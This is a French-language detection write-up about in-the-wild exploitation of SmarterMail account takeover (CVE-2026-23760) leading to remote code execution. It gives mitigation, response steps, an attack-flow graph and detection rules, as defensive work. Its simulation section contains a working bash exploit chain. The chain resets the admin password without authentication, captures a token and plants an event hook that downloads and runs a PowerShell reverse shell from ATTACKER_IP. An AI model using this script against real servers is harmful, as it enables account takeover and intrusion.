DE&TH des Vulnérabilités : Huntress Détecte une Prise de Contrôle de Compte SmarterMail Menant à une exécution de code à distance (RCE)
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Huntress a observé l’exploitation à l’état sauvage de deux failles SmarterMail qui permettent la prise de contrôle de comptes privilégiés et, finalement, l’exécution de code à distance. Les attaquants initient des flux de réinitialisation de mot de passe sans authentification pour obtenir un jeton privilégié, puis abusent des « événements système » de SmarterMail pour exécuter des commandes de reconnaissance de l’hôte. L’activité a impacté plusieurs clients et montrait des signes d’exploitation automatisée à grande échelle.
Enquête
Les analystes de Huntress ont reconstruit une séquence cohérente de requêtes HTTP POST contre les points de terminaison API de SmarterMail utilisés pour déclencher des réinitialisations de mot de passe, authentifier, configurer des événements système, ajouter des domaines contrôlés par l’attaquant et supprimer ensuite les traces. La chaîne cible CVE-2026-23760 (prise de contrôle de compte privilégié) et CVE-2025-52691 (téléchargement de fichier arbitraire). Les requêtes utilisaient couramment l’user-agent python-requests/2.32.4, et les opérateurs laissaient derrière eux des fichiers result.txt contenant la sortie de reconnaissance des commandes exécutées.
Atténuation
Mettez à niveau SmarterMail vers la version 9511 ou ultérieure pour corriger les deux CVE. Révisez et resserrez l’exposition de l’API, désactivez ou restreignez les événements système inutiles, et surveillez les activités API anormales qui modifient les comptes, événements ou domaines. Identifiez et supprimez tout événement système et domaine créé par l’attaquant pour éliminer la persistance.
Réponse
Cherchez le schéma d’appel API suspect et l’user-agent python-requests/2.32.4, bloquez les IP source offensives et supprimez les événements système malveillants. Changez immédiatement les identifiants privilégiés. Effectuez une analyse judiciaire des terminaux pour localiser result.txt et valider si des charges supplémentaires ont été mises en scène. Notifiez les utilisateurs/clients impactés et fournissez des directives de remédiation claires.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[« <b>Action</b> – <b>T1212 Exploitation pour l’accès aux identifiants</b><br/>L’attaquant exploite CVE-2026-23760 via POST /api/v1/auth/force-reset-password afin de réinitialiser un mot de passe privilégié. »] class action_exploit_cred action action_authenticate[« <b>Action</b> – <b>T1078 Comptes valides</b> & <b>T1134.003 Manipulation de jeton d’accès</b><br/>À l’aide des nouvelles informations d’identification, POST /api/v1/auth/authenticate-user obtient un jeton d’accès. »] class action_authenticate action tool_requests[« <b>Outil</b> – <b>Nom</b> : python-requests 2.32.4<br/><b>Objectif</b> : client HTTP utilisé pour les appels API »] class tool_requests tool data_token[« <b>Données</b> – Jeton d’accès<br/>Stocké pour les interactions API ultérieures »] class data_token data action_config_event[« <b>Action</b> – <b>T1569 Services système</b> & <b>T1574 Détournement du flux d’exécution</b><br/>POST /api/v1/settings/sysadmin/event-hook crée un événement système malveillant. »] class action_config_event action action_add_domain[« <b>Action</b> – <b>T1204 Exécution par l’utilisateur</b><br/>POST /api/v1/settings/sysadmin/domain-put ajoute un domaine déclenchant l’événement et exécutant des commandes de reconnaissance. »] class action_add_domain action data_result[« <b>Données</b> – result.txt<br/>Fichier créé dans C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt »] class data_result data action_cleanup[« <b>Action</b> – Étapes de nettoyage<br/>POST /api/v1/settings/sysadmin/domain-delete et event-hook-delete pour supprimer les artefacts. »] class action_cleanup action action_remove_logs[« <b>Action</b> – <b>T1070.001 Effacement des journaux d’événements Windows</b> »] class action_remove_logs action action_file_deletion[« <b>Action</b> – <b>T1070.004 Suppression de fichiers</b><br/>Supprime result.txt et les fichiers associés. »] class action_file_deletion action action_clear_persistence[« <b>Action</b> – <b>T1070.009 Suppression de la persistance</b> »] class action_clear_persistence action %% Connections action_exploit_cred –>|utilise| tool_requests action_exploit_cred –>|mène_à| action_authenticate action_authenticate –>|produit| data_token data_token –>|utilisé_par| action_config_event action_config_event –>|crée| action_add_domain action_add_domain –>|écrit| data_result action_add_domain –>|déclenche| action_cleanup action_cleanup –>|inclut| action_remove_logs action_cleanup –>|inclut| action_file_deletion action_cleanup –>|inclut| action_clear_persistence
Flux d’Attaque
Détections
Tentative d’exploitation possible de CVE-2026-23760 (SmarterMail) (via le serveur web)
Voir
IOC (DestinationIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 2
Voir
IOC (DestinationIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 1
Voir
IOC (SourceIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 1
Voir
IOC (SourceIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 2
Voir
Prise de contrôle de compte SmarterMail conduisant à RCE [Serveur Web]
Voir
Exécution de Simulation
Prérequis : Le contrôle pré-richesse & de télémetrie doit avoir été validé.
Narratif d’attaque & Commandes
- Reconnaissance : L’attaquant découvre que l’instance SmarterMail exécute une version vulnérable à CVE-2026-23760.
- Réinitialisation forcée du mot de passe (T1098) : En utilisant le
point de terminaison force-reset-passwordpour définir un mot de passe connu pour le compteadminprivilégié. - Authenficiation (T1078) : Connectez-vous avec les identifiants nouvellement définis via le
point de terminaison authenticate-user, obtenant un jeton de session. - Déployer un crochet événementiel malveillant (T1569) : POST un chargement JSON conçu sur
event-hookqui pointe vers un shell inversé PowerShell hébergé sur le serveur de l’attaquant. - Déclenchement de l’exécution : Le crochet événementiel s’exécute automatiquement sur le serveur web, générant un shell inversé vers l’attaquant.
- Nettoyage : Supprimez le crochet malveillant via le
point de terminaison event-hook-delete(exclu de la détection).
Toutes les étapes génèrent des événements HTTP POST qui correspondent aux critères de sélection de la règle Sigma.
Script de test de régression
#!/usr/bin/env bash
# -------------------------------------------------
# Prise de contrôle de compte SmarterMail & Simulation de RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Réinitialisation forcée du mot de passe (non authentifiée)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Authentification et capture de jeton de session
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Déploiement du hook événementiel malveillant (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] Hook événementiel malveillant déployé. En attente du shell inversé..."
# 4. (Optionnel) Attendre le shell inversé – l'attaquant exécute l'écouteur séparément:
# nc -lvnp ${ATTACKER_PORT}
# 5. Nettoyage – supprimer le hook (exclu de la détection)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Commandes de Nettoyage
#!/usr/bin/env bash
# Supprimer tous les hooks malveillants résiduels et réinitialiser le mot de passe admin
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Authentification avec le mot de passe sûr (si connu) ou utilisez le jeton précédent
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Supprimer le hook événementiel malveillant (s'il est encore présent)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Réinitialiser le mot de passe admin à une bonne valeur connue
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"